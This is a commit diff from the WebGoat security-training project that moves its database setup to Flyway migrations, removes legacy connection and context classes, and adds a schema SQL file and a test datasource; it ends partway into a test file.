Fix merge request
This commit is contained in:
@ -92,6 +92,10 @@
|
|||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-actuator</artifactId>
|
<artifactId>spring-boot-starter-actuator</artifactId>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.flywaydb</groupId>
|
||||||
|
<artifactId>flyway-core</artifactId>
|
||||||
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.asciidoctor</groupId>
|
<groupId>org.asciidoctor</groupId>
|
||||||
<artifactId>asciidoctorj</artifactId>
|
<artifactId>asciidoctorj</artifactId>
|
||||||
@ -100,6 +104,12 @@
|
|||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-data-jpa</artifactId>
|
<artifactId>spring-boot-starter-data-jpa</artifactId>
|
||||||
|
<exclusions>
|
||||||
|
<exclusion>
|
||||||
|
<artifactId>HikariCP</artifactId>
|
||||||
|
<groupId>com.zaxxer</groupId>
|
||||||
|
</exclusion>
|
||||||
|
</exclusions>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.apache.commons</groupId>
|
<groupId>org.apache.commons</groupId>
|
||||||
|
@ -0,0 +1,46 @@
|
|||||||
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import org.flywaydb.core.Flyway;
|
||||||
|
import org.owasp.webgoat.service.RestartLessonService;
|
||||||
|
import org.springframework.context.annotation.Bean;
|
||||||
|
import org.springframework.context.annotation.Configuration;
|
||||||
|
import org.springframework.context.annotation.DependsOn;
|
||||||
|
|
||||||
|
import javax.sql.DataSource;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users and 1 for lesson
|
||||||
|
* specific tables we use. This way we clean the data in the lesson database quite easily see {@link RestartLessonService#restartLesson()}
|
||||||
|
* for how we clean the lesson related tables.
|
||||||
|
*/
|
||||||
|
@Configuration
|
||||||
|
public class DatabaseInitialization {
|
||||||
|
|
||||||
|
private final DataSource dataSource;
|
||||||
|
|
||||||
|
public DatabaseInitialization(DataSource dataSource) {
|
||||||
|
this.dataSource = dataSource;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Bean(initMethod = "migrate")
|
||||||
|
public Flyway flyWayContainer() {
|
||||||
|
return Flyway
|
||||||
|
.configure().configuration(
|
||||||
|
Map.of("driver", "org.hsqldb.jdbc.JDBCDriver"))
|
||||||
|
.dataSource(dataSource)
|
||||||
|
.schemas("container")
|
||||||
|
.locations("db/container")
|
||||||
|
.load();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Bean(initMethod = "migrate")
|
||||||
|
@DependsOn("flyWayContainer")
|
||||||
|
public Flyway flywayLessons() {
|
||||||
|
return Flyway
|
||||||
|
.configure().configuration(
|
||||||
|
Map.of("driver", "org.hsqldb.jdbc.JDBCDriver"))
|
||||||
|
.dataSource(dataSource)
|
||||||
|
.load();
|
||||||
|
}
|
||||||
|
}
|
@ -32,17 +32,16 @@ package org.owasp.webgoat;
|
|||||||
|
|
||||||
import org.owasp.webgoat.session.UserSessionData;
|
import org.owasp.webgoat.session.UserSessionData;
|
||||||
import org.owasp.webgoat.session.WebSession;
|
import org.owasp.webgoat.session.WebSession;
|
||||||
import org.owasp.webgoat.session.WebgoatContext;
|
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
|
||||||
import org.springframework.context.annotation.Bean;
|
import org.springframework.context.annotation.Bean;
|
||||||
|
import org.springframework.context.annotation.Configuration;
|
||||||
import org.springframework.context.annotation.Scope;
|
import org.springframework.context.annotation.Scope;
|
||||||
import org.springframework.context.annotation.ScopedProxyMode;
|
import org.springframework.context.annotation.ScopedProxyMode;
|
||||||
import org.springframework.web.client.RestTemplate;
|
import org.springframework.web.client.RestTemplate;
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
|
|
||||||
@SpringBootApplication
|
@Configuration
|
||||||
public class WebGoat {
|
public class WebGoat {
|
||||||
|
|
||||||
@Bean(name = "pluginTargetDirectory")
|
@Bean(name = "pluginTargetDirectory")
|
||||||
@ -52,8 +51,8 @@ public class WebGoat {
|
|||||||
|
|
||||||
@Bean
|
@Bean
|
||||||
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
|
@Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
|
||||||
public WebSession webSession(WebgoatContext webgoatContext) {
|
public WebSession webSession() {
|
||||||
return new WebSession(webgoatContext);
|
return new WebSession();
|
||||||
}
|
}
|
||||||
|
|
||||||
@Bean
|
@Bean
|
||||||
|
@ -25,6 +25,7 @@ package org.owasp.webgoat.service;
|
|||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import org.flywaydb.core.Flyway;
|
||||||
import org.owasp.webgoat.lessons.Lesson;
|
import org.owasp.webgoat.lessons.Lesson;
|
||||||
import org.owasp.webgoat.session.WebSession;
|
import org.owasp.webgoat.session.WebSession;
|
||||||
import org.owasp.webgoat.users.UserTracker;
|
import org.owasp.webgoat.users.UserTracker;
|
||||||
@ -34,25 +35,15 @@ import org.springframework.stereotype.Controller;
|
|||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>RestartLessonService class.</p>
|
|
||||||
*
|
|
||||||
* @author rlawson
|
|
||||||
* @version $Id: $Id
|
|
||||||
*/
|
|
||||||
@Controller
|
@Controller
|
||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@Slf4j
|
@Slf4j
|
||||||
public class RestartLessonService {
|
public class RestartLessonService {
|
||||||
|
|
||||||
private final WebSession webSession;
|
private final WebSession webSession;
|
||||||
private UserTrackerRepository userTrackerRepository;
|
private final UserTrackerRepository userTrackerRepository;
|
||||||
|
private final Flyway flywayLessons;
|
||||||
|
|
||||||
/**
|
|
||||||
* Returns current lesson
|
|
||||||
*
|
|
||||||
* @return a {@link java.lang.String} object.
|
|
||||||
*/
|
|
||||||
@RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text")
|
@RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text")
|
||||||
@ResponseStatus(value = HttpStatus.OK)
|
@ResponseStatus(value = HttpStatus.OK)
|
||||||
public void restartLesson() {
|
public void restartLesson() {
|
||||||
@ -62,5 +53,8 @@ public class RestartLessonService {
|
|||||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
userTracker.reset(al);
|
userTracker.reset(al);
|
||||||
userTrackerRepository.save(userTracker);
|
userTrackerRepository.save(userTracker);
|
||||||
|
|
||||||
|
flywayLessons.clean();
|
||||||
|
flywayLessons.migrate();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
File diff suppressed because it is too large
Load Diff
@ -1,129 +0,0 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.session;
|
|
||||||
|
|
||||||
import java.sql.Connection;
|
|
||||||
import java.sql.DriverManager;
|
|
||||||
import java.sql.SQLException;
|
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
*************************************************************************************************
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
|
||||||
* please see http://www.owasp.org/
|
|
||||||
*
|
|
||||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
|
||||||
*
|
|
||||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
|
||||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
|
||||||
* License, or (at your option) any later version.
|
|
||||||
*
|
|
||||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
|
||||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
|
||||||
* General Public License for more details.
|
|
||||||
*
|
|
||||||
* You should have received a copy of the GNU General Public License along with this program; if
|
|
||||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
|
||||||
* 02111-1307, USA.
|
|
||||||
*
|
|
||||||
* Getting Source ==============
|
|
||||||
*
|
|
||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
|
||||||
* projects.
|
|
||||||
*
|
|
||||||
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
|
|
||||||
* @version $Id: $Id
|
|
||||||
*/
|
|
||||||
//TODO: class we need to refactor to new structure, we can put the connection in the current session of the user
|
|
||||||
// start using jdbc template
|
|
||||||
public class DatabaseUtilities
|
|
||||||
{
|
|
||||||
|
|
||||||
private static Map<String, Connection> connections = new HashMap<String, Connection>();
|
|
||||||
private static Map<String, Boolean> dbBuilt = new HashMap<String, Boolean>();
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>getConnection.</p>
|
|
||||||
*
|
|
||||||
* @param s a {@link org.owasp.webgoat.session.WebSession} object.
|
|
||||||
* @return a {@link java.sql.Connection} object.
|
|
||||||
* @throws java.sql.SQLException if any.
|
|
||||||
*/
|
|
||||||
public static Connection getConnection(WebSession s) throws SQLException
|
|
||||||
{
|
|
||||||
return getConnection(s.getUserName(), s.getWebgoatContext());
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>getConnection.</p>
|
|
||||||
*
|
|
||||||
* @param user a {@link java.lang.String} object.
|
|
||||||
* @param context a {@link org.owasp.webgoat.session.WebgoatContext} object.
|
|
||||||
* @return a {@link java.sql.Connection} object.
|
|
||||||
* @throws java.sql.SQLException if any.
|
|
||||||
*/
|
|
||||||
public static synchronized Connection getConnection(String user, WebgoatContext context) throws SQLException
|
|
||||||
{
|
|
||||||
Connection conn = connections.get(user);
|
|
||||||
if (conn != null && !conn.isClosed()) return conn;
|
|
||||||
conn = makeConnection(user, context);
|
|
||||||
connections.put(user, conn);
|
|
||||||
|
|
||||||
if (dbBuilt.get(user) == null)
|
|
||||||
{
|
|
||||||
new CreateDB().makeDB(conn);
|
|
||||||
dbBuilt.put(user, Boolean.TRUE);
|
|
||||||
}
|
|
||||||
|
|
||||||
return conn;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>returnConnection.</p>
|
|
||||||
*
|
|
||||||
* @param user a {@link java.lang.String} object.
|
|
||||||
*/
|
|
||||||
public static synchronized void returnConnection(String user)
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
Connection connection = connections.get(user);
|
|
||||||
if (connection == null || connection.isClosed()) return;
|
|
||||||
|
|
||||||
if (connection.getMetaData().getDatabaseProductName().toLowerCase().contains("oracle")) connection.close();
|
|
||||||
} catch (SQLException sqle)
|
|
||||||
{
|
|
||||||
sqle.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private static Connection makeConnection(String user, WebgoatContext context) throws SQLException
|
|
||||||
{
|
|
||||||
try
|
|
||||||
{
|
|
||||||
Class.forName(context.getDatabaseDriver());
|
|
||||||
|
|
||||||
if (context.getDatabaseConnectionString().contains("hsqldb")) return getHsqldbConnection(user, context);
|
|
||||||
|
|
||||||
String userPrefix = context.getDatabaseUser();
|
|
||||||
String password = context.getDatabasePassword();
|
|
||||||
String url = context.getDatabaseConnectionString();
|
|
||||||
return DriverManager.getConnection(url, userPrefix + "_" + user, password);
|
|
||||||
} catch (ClassNotFoundException cnfe)
|
|
||||||
{
|
|
||||||
cnfe.printStackTrace();
|
|
||||||
throw new SQLException("Couldn't load the database driver: " + cnfe.getLocalizedMessage());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private static Connection getHsqldbConnection(String user, WebgoatContext context) throws ClassNotFoundException,
|
|
||||||
SQLException
|
|
||||||
{
|
|
||||||
String url = context.getDatabaseConnectionString().replace("{USER}", user);
|
|
||||||
return DriverManager.getConnection(url, "sa", "");
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
@ -41,39 +41,12 @@ public class WebSession implements Serializable {
|
|||||||
|
|
||||||
private static final long serialVersionUID = -4270066103101711560L;
|
private static final long serialVersionUID = -4270066103101711560L;
|
||||||
private final WebGoatUser currentUser;
|
private final WebGoatUser currentUser;
|
||||||
private final WebgoatContext webgoatContext;
|
|
||||||
private Lesson currentLesson;
|
private Lesson currentLesson;
|
||||||
|
|
||||||
/**
|
public WebSession() {
|
||||||
* Constructor for the WebSession object
|
|
||||||
*
|
|
||||||
* @param webgoatContext a {@link org.owasp.webgoat.session.WebgoatContext} object.
|
|
||||||
*/
|
|
||||||
public WebSession(WebgoatContext webgoatContext) {
|
|
||||||
this.webgoatContext = webgoatContext;
|
|
||||||
this.currentUser = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
this.currentUser = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* <p> getConnection. </p>
|
|
||||||
*
|
|
||||||
* @param s a {@link org.owasp.webgoat.session.WebSession} object.
|
|
||||||
* @return a {@link java.sql.Connection} object.
|
|
||||||
* @throws java.sql.SQLException if any.
|
|
||||||
*/
|
|
||||||
public static synchronized Connection getConnection(WebSession s) throws SQLException {
|
|
||||||
return DatabaseUtilities.getConnection(s);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p> returnConnection. </p>
|
|
||||||
*
|
|
||||||
* @param s a {@link org.owasp.webgoat.session.WebSession} object.
|
|
||||||
*/
|
|
||||||
public static void returnConnection(WebSession s) {
|
|
||||||
DatabaseUtilities.returnConnection(s.getUserName());
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* <p> Setter for the field <code>currentScreen</code>. </p>
|
* <p> Setter for the field <code>currentScreen</code>. </p>
|
||||||
*
|
*
|
||||||
@ -100,13 +73,4 @@ public class WebSession implements Serializable {
|
|||||||
public String getUserName() {
|
public String getUserName() {
|
||||||
return currentUser.getUsername();
|
return currentUser.getUsername();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* <p> Getter for the field <code>webgoatContext</code>. </p>
|
|
||||||
*
|
|
||||||
* @return a {@link org.owasp.webgoat.session.WebgoatContext} object.
|
|
||||||
*/
|
|
||||||
public WebgoatContext getWebgoatContext() {
|
|
||||||
return webgoatContext;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
@ -1,187 +0,0 @@
|
|||||||
package org.owasp.webgoat.session;
|
|
||||||
|
|
||||||
import org.springframework.beans.factory.annotation.Value;
|
|
||||||
import org.springframework.context.annotation.Configuration;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>WebgoatContext class.</p>
|
|
||||||
*
|
|
||||||
* @version $Id: $Id
|
|
||||||
* @author dm
|
|
||||||
*/
|
|
||||||
@Configuration
|
|
||||||
public class WebgoatContext {
|
|
||||||
|
|
||||||
@Value("${webgoat.database.connection.string}")
|
|
||||||
private String databaseConnectionString;
|
|
||||||
|
|
||||||
private String realConnectionString = null;
|
|
||||||
|
|
||||||
@Value("${webgoat.database.driver}")
|
|
||||||
private String databaseDriver;
|
|
||||||
|
|
||||||
private String databaseUser;
|
|
||||||
|
|
||||||
private String databasePassword;
|
|
||||||
|
|
||||||
private boolean showCookies = false;
|
|
||||||
|
|
||||||
private boolean showParams = false;
|
|
||||||
|
|
||||||
private boolean showRequest = false;
|
|
||||||
|
|
||||||
private boolean showSource = false;
|
|
||||||
|
|
||||||
private boolean showSolution = false;
|
|
||||||
|
|
||||||
private boolean enterprise = false;
|
|
||||||
|
|
||||||
private boolean codingExercises = false;
|
|
||||||
|
|
||||||
@Value("${webgoat.feedback.address}")
|
|
||||||
private String feedbackAddress;
|
|
||||||
|
|
||||||
@Value("${webgoat.feedback.address.html}")
|
|
||||||
private String feedbackAddressHTML = "";
|
|
||||||
|
|
||||||
private boolean isDebug = false;
|
|
||||||
|
|
||||||
@Value("${webgoat.default.language}")
|
|
||||||
private String defaultLanguage;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* returns the connection string with the real path to the database
|
|
||||||
* directory inserted at the word PATH
|
|
||||||
*
|
|
||||||
* @return The databaseConnectionString value
|
|
||||||
*/
|
|
||||||
public String getDatabaseConnectionString() {
|
|
||||||
return this.databaseConnectionString;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Gets the databaseDriver attribute of the WebSession object
|
|
||||||
*
|
|
||||||
* @return The databaseDriver value
|
|
||||||
*/
|
|
||||||
public String getDatabaseDriver() {
|
|
||||||
return (databaseDriver);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Gets the databaseUser attribute of the WebSession object
|
|
||||||
*
|
|
||||||
* @return The databaseUser value
|
|
||||||
*/
|
|
||||||
public String getDatabaseUser() {
|
|
||||||
return (databaseUser);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Gets the databasePassword attribute of the WebSession object
|
|
||||||
*
|
|
||||||
* @return The databasePassword value
|
|
||||||
*/
|
|
||||||
public String getDatabasePassword() {
|
|
||||||
return (databasePassword);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>isEnterprise.</p>
|
|
||||||
*
|
|
||||||
* @return a boolean.
|
|
||||||
*/
|
|
||||||
public boolean isEnterprise() {
|
|
||||||
return enterprise;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>isCodingExercises.</p>
|
|
||||||
*
|
|
||||||
* @return a boolean.
|
|
||||||
*/
|
|
||||||
public boolean isCodingExercises() {
|
|
||||||
return codingExercises;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>Getter for the field <code>feedbackAddress</code>.</p>
|
|
||||||
*
|
|
||||||
* @return a {@link java.lang.String} object.
|
|
||||||
*/
|
|
||||||
public String getFeedbackAddress() {
|
|
||||||
return feedbackAddress;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>Getter for the field <code>feedbackAddressHTML</code>.</p>
|
|
||||||
*
|
|
||||||
* @return a {@link java.lang.String} object.
|
|
||||||
*/
|
|
||||||
public String getFeedbackAddressHTML() {
|
|
||||||
return feedbackAddressHTML;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>isDebug.</p>
|
|
||||||
*
|
|
||||||
* @return a boolean.
|
|
||||||
*/
|
|
||||||
public boolean isDebug() {
|
|
||||||
return isDebug;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>isShowCookies.</p>
|
|
||||||
*
|
|
||||||
* @return a boolean.
|
|
||||||
*/
|
|
||||||
public boolean isShowCookies() {
|
|
||||||
return showCookies;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>isShowParams.</p>
|
|
||||||
*
|
|
||||||
* @return a boolean.
|
|
||||||
*/
|
|
||||||
public boolean isShowParams() {
|
|
||||||
return showParams;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>isShowRequest.</p>
|
|
||||||
*
|
|
||||||
* @return a boolean.
|
|
||||||
*/
|
|
||||||
public boolean isShowRequest() {
|
|
||||||
return showRequest;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>isShowSource.</p>
|
|
||||||
*
|
|
||||||
* @return a boolean.
|
|
||||||
*/
|
|
||||||
public boolean isShowSource() {
|
|
||||||
return showSource;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>isShowSolution.</p>
|
|
||||||
*
|
|
||||||
* @return a boolean.
|
|
||||||
*/
|
|
||||||
public boolean isShowSolution() {
|
|
||||||
return showSolution;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>Getter for the field <code>defaultLanguage</code>.</p>
|
|
||||||
*
|
|
||||||
* @return a {@link java.lang.String} object.
|
|
||||||
*/
|
|
||||||
public String getDefaultLanguage() {
|
|
||||||
return defaultLanguage;
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,6 +1,5 @@
|
|||||||
server.error.include-stacktrace=always
|
server.error.include-stacktrace=always
|
||||||
server.error.path=/error.html
|
server.error.path=/error.html
|
||||||
server.session.timeout=600
|
|
||||||
server.servlet.context-path=/WebGoat
|
server.servlet.context-path=/WebGoat
|
||||||
server.port=${WEBGOAT_PORT:8080}
|
server.port=${WEBGOAT_PORT:8080}
|
||||||
server.address=${WEBGOAT_HOST:127.0.0.1}
|
server.address=${WEBGOAT_HOST:127.0.0.1}
|
||||||
@ -10,13 +9,12 @@ server.ssl.key-store=${WEBGOAT_KEYSTORE:classpath:goatkeystore.pkcs12}
|
|||||||
server.ssl.key-store-password=${WEBGOAT_KEYSTORE_PASSWORD:password}
|
server.ssl.key-store-password=${WEBGOAT_KEYSTORE_PASSWORD:password}
|
||||||
server.ssl.key-alias=${WEBGOAT_KEY_ALIAS:goat}
|
server.ssl.key-alias=${WEBGOAT_KEY_ALIAS:goat}
|
||||||
server.ssl.enabled=${WEBGOAT_SSLENABLED:false}
|
server.ssl.enabled=${WEBGOAT_SSLENABLED:false}
|
||||||
security.require-ssl=${WEBGOAT_SSLENABLED:false}
|
|
||||||
|
|
||||||
hsqldb.port=${WEBGOAT_HSQLPORT:9001}
|
hsqldb.port=${WEBGOAT_HSQLPORT:9001}
|
||||||
spring.datasource.url=jdbc:hsqldb:hsql://${server.address}:${hsqldb.port}/webgoat
|
spring.datasource.url=jdbc:hsqldb:hsql://${server.address}:${hsqldb.port}/webgoat
|
||||||
spring.jpa.hibernate.ddl-auto=update
|
|
||||||
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
|
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
|
||||||
spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver
|
spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver
|
||||||
|
spring.jpa.properties.hibernate.default_schema=CONTAINER
|
||||||
|
|
||||||
logging.level.org.thymeleaf=INFO
|
logging.level.org.thymeleaf=INFO
|
||||||
logging.level.org.thymeleaf.TemplateEngine.CONFIG=INFO
|
logging.level.org.thymeleaf.TemplateEngine.CONFIG=INFO
|
||||||
@ -38,7 +36,6 @@ webgoat.email=webgoat@owasp.org
|
|||||||
webgoat.emaillist=owasp-webgoat@lists.owasp.org
|
webgoat.emaillist=owasp-webgoat@lists.owasp.org
|
||||||
webgoat.feedback.address=webgoat@owasp.org
|
webgoat.feedback.address=webgoat@owasp.org
|
||||||
webgoat.feedback.address.html=<A HREF=mailto:webgoat@owasp.org>webgoat@owasp.org</A>
|
webgoat.feedback.address.html=<A HREF=mailto:webgoat@owasp.org>webgoat@owasp.org</A>
|
||||||
webgoat.database.driver=org.hsqldb.jdbcDriver
|
|
||||||
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
|
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
|
||||||
webgoat.default.language=en
|
webgoat.default.language=en
|
||||||
|
|
||||||
|
@ -0,0 +1,64 @@
|
|||||||
|
CREATE SCHEMA CONTAINER;
|
||||||
|
|
||||||
|
CREATE SEQUENCE CONTAINER.HIBERNATE_SEQUENCE AS INTEGER START WITH 1;
|
||||||
|
|
||||||
|
CREATE TABLE CONTAINER.ASSIGNMENT (
|
||||||
|
ID BIGINT NOT NULL PRIMARY KEY,
|
||||||
|
NAME VARCHAR(255),
|
||||||
|
PATH VARCHAR(255)
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE CONTAINER.LESSON_TRACKER(
|
||||||
|
ID BIGINT NOT NULL PRIMARY KEY,
|
||||||
|
LESSON_NAME VARCHAR(255),
|
||||||
|
NUMBER_OF_ATTEMPTS INTEGER NOT NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE CONTAINER.LESSON_TRACKER_ALL_ASSIGNMENTS(
|
||||||
|
LESSON_TRACKER_ID BIGINT NOT NULL,
|
||||||
|
ALL_ASSIGNMENTS_ID BIGINT NOT NULL,
|
||||||
|
PRIMARY KEY(LESSON_TRACKER_ID,ALL_ASSIGNMENTS_ID),
|
||||||
|
CONSTRAINT FKNHIDKE27BCJHI8C7WJ9QW6Y3Q FOREIGN KEY(ALL_ASSIGNMENTS_ID) REFERENCES CONTAINER.ASSIGNMENT(ID),
|
||||||
|
CONSTRAINT FKBM51QSDJ7N17O2DNATGAMW7D FOREIGN KEY(LESSON_TRACKER_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID),
|
||||||
|
CONSTRAINT UK_SYGJY2S8O8DDGA2K5YHBMUVEA UNIQUE(ALL_ASSIGNMENTS_ID)
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE CONTAINER.LESSON_TRACKER_SOLVED_ASSIGNMENTS(
|
||||||
|
LESSON_TRACKER_ID BIGINT NOT NULL,
|
||||||
|
SOLVED_ASSIGNMENTS_ID BIGINT NOT NULL,
|
||||||
|
PRIMARY KEY(LESSON_TRACKER_ID,SOLVED_ASSIGNMENTS_ID),
|
||||||
|
CONSTRAINT FKPP850U1MG09YKKL2EQGM0TRJK FOREIGN KEY(SOLVED_ASSIGNMENTS_ID) REFERENCES CONTAINER.ASSIGNMENT(ID),
|
||||||
|
CONSTRAINT FKNKRWGA1UHLOQ6732SQXHXXSCR FOREIGN KEY(LESSON_TRACKER_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID),
|
||||||
|
CONSTRAINT UK_9WFYDUY3TVE1XD05LWOUEG0C1 UNIQUE(SOLVED_ASSIGNMENTS_ID)
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE CONTAINER.USER_TRACKER(
|
||||||
|
ID BIGINT NOT NULL PRIMARY KEY,
|
||||||
|
USERNAME VARCHAR(255)
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE CONTAINER.USER_TRACKER_LESSON_TRACKERS(
|
||||||
|
USER_TRACKER_ID BIGINT NOT NULL,
|
||||||
|
LESSON_TRACKERS_ID BIGINT NOT NULL,
|
||||||
|
PRIMARY KEY(USER_TRACKER_ID,LESSON_TRACKERS_ID),
|
||||||
|
CONSTRAINT FKQJSTCA3YND3OHP35D50PNUH3H FOREIGN KEY(LESSON_TRACKERS_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID),
|
||||||
|
CONSTRAINT FKC9GX8INK7LRC79XC77O2MN9KE FOREIGN KEY(USER_TRACKER_ID) REFERENCES CONTAINER.USER_TRACKER(ID),
|
||||||
|
CONSTRAINT UK_5D8N5I3IC26CVF7DF7N95DOJB UNIQUE(LESSON_TRACKERS_ID)
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE CONTAINER.WEB_GOAT_USER(
|
||||||
|
USERNAME VARCHAR(255) NOT NULL PRIMARY KEY,
|
||||||
|
PASSWORD VARCHAR(255),
|
||||||
|
ROLE VARCHAR(255)
|
||||||
|
);
|
||||||
|
|
||||||
|
CREATE TABLE CONTAINER.EMAIL(
|
||||||
|
ID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL PRIMARY KEY,
|
||||||
|
CONTENTS VARCHAR(1024),
|
||||||
|
RECIPIENT VARCHAR(255),
|
||||||
|
SENDER VARCHAR(255),
|
||||||
|
TIME TIMESTAMP,
|
||||||
|
TITLE VARCHAR(255)
|
||||||
|
);
|
||||||
|
|
||||||
|
ALTER TABLE CONTAINER.EMAIL ALTER COLUMN ID RESTART WITH 2;
|
@ -0,0 +1,27 @@
|
|||||||
|
package org.owasp.webgoat;
|
||||||
|
|
||||||
|
import org.hsqldb.jdbc.JDBCDriver;
|
||||||
|
import org.springframework.beans.factory.annotation.Value;
|
||||||
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
|
||||||
|
import org.springframework.context.annotation.Bean;
|
||||||
|
import org.springframework.jdbc.datasource.DriverManagerDataSource;
|
||||||
|
|
||||||
|
import javax.sql.DataSource;
|
||||||
|
import java.sql.DriverManager;
|
||||||
|
import java.sql.SQLException;
|
||||||
|
|
||||||
|
@SpringBootApplication
|
||||||
|
public class TestApplication {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* We define our own datasource, otherwise we end up with Hikari one which for some lessons will
|
||||||
|
* throw an error (feature not supported)
|
||||||
|
*/
|
||||||
|
@Bean
|
||||||
|
@ConditionalOnProperty(prefix = "webgoat.start", name = "hsqldb", havingValue = "false")
|
||||||
|
public DataSource dataSource(@Value("${spring.datasource.url}") String url) throws SQLException {
|
||||||
|
DriverManager.registerDriver(new JDBCDriver());
|
||||||
|
return new DriverManagerDataSource(url);
|
||||||
|
}
|
||||||
|
}
|
@ -4,7 +4,6 @@ import org.junit.Before;
|
|||||||
import org.owasp.webgoat.i18n.Language;
|
import org.owasp.webgoat.i18n.Language;
|
||||||
import org.owasp.webgoat.i18n.PluginMessages;
|
